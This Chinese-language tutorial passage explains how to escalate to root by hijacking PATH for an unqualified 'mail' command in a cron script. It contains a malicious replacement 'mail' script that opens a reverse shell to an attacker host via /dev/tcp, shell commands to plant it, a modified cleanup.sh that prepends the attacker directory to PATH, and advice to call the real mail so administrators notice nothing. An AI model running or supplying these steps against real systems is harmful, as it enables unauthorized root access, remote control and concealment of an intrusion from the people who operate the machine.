### 某个定时任务执行的脚本内容是 `\#!/bin/bash;echo "Cleanup started" | mail -s "Status" $USER`，如何利用这个未指定绝对路径的 mail 命令提权

**攻击原理：滥用 `PATH` 环境变量**

这个漏洞利用的核心在于 **`PATH` 环境变量的优先级**

1. **`PATH` 的作用：** 在 Linux 系统中，当用户执行一个未指定绝对路径的命令（如 `mail` 或 `ls`）时，系统会按照 `PATH` 环境变量中列出的目录顺序，从左到右进行搜索，找到第一个匹配的同名可执行文件并运行
2. **`root` 用户的 `PATH`：** `root` 用户的 `PATH` 环境变量通常包含 `/usr/local/sbin`、`/usr/local/bin`、`/usr/sbin`、`/usr/bin` 等系统目录
3. **漏洞利用：** 如果我们能够**修改**或**控制**脚本执行时的 `PATH` 环境变量，将一个我们具有写入权限的目录（例如 `/tmp` 或 `/home/user/bin`）添加到搜索路径的**最前面**，那么系统就会优先执行我们在这个目录中创建的**恶意程序**，而不是真正的 `/usr/bin/mail`
4. **最终目标：** 我们将创建一个名为 `mail` 的恶意可执行文件，它真正的作用是执行我们的提权命令（获取一个 Root Shell）

****

**攻击载荷的构造与放置**

攻击的核心是创建一个名为 `mail` 的恶意可执行文件，并确保它能被 Root 用户的 `cron` 任务找到并执行

**1. 构造恶意 Payload**

我们创建一个简单的 Shell 脚本作为我们的恶意 `mail` 程序。这个脚本将执行我们想要运行的任何 Root 命令。最直接的目标是获取一个 **Root Shell**

**文件内容：**

```bash
#!/bin/bash

# 1. 执行反弹 Shell 命令
# 确保替换 YOUR_ATTACKER_IP 和 YOUR_PORT
/bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_PORT 0>&1 &

# 2. （可选）执行真正的 mail 命令以避免 cron 任务报错
# 这样做能让管理员和脚本看起来一切正常。
# /usr/bin/mail -s "Status" $USER
```

**2. Payload 放置位置**

我们选择一个我们有写入权限的目录，并确保该目录能在 `cleanup.sh` 执行时被添加到 `PATH` 环境变量中

**策略 A：修改用户级的 `PATH` 变量（针对 `cron` 任务）**

许多系统的 `cron` 守护进程在执行任务时，不会加载完整的用户环境变量文件（如 `.bashrc` 或 `.profile`），而是使用一个最小化的、硬编码的 `PATH`。因此，我们必须**直接修改 `cleanup.sh` 脚本**或者**在环境变量文件中强制覆盖**

步骤 1：创建 Payload 和目录

假设我们在自己的家目录中创建这个目录和文件：

```bash
mkdir -p /home/user/bin
# 写入恶意 Shell 脚本
echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_PORT 0>&1 &' > /home/user/bin/mail
# 赋予执行权限
chmod +x /home/user/bin/mail
```

步骤 2：劫持 `cleanup.sh` 脚本的 `PATH`（必需）

我们必须修改 `/home/user/cleanup.sh`，在执行 `mail` 命令之前，强制将我们的恶意目录添加到 `PATH` 的最前面

修改后的 `/home/user/cleanup.sh` 脚本内容：

```bash
#!/bin/bash

# 【!!! 攻击载荷：添加恶意目录到 PATH 最前面 !!!】
export PATH="/home/user/bin:$PATH"

# 脚本中的其他命令 (都使用了绝对路径，不受影响)
/bin/some/command
/bin/another/command

# 原始命令：系统现在会优先找到 /home/user/bin/mail 并执行
echo "Cleanup started" | mail -s "Status" $USER
```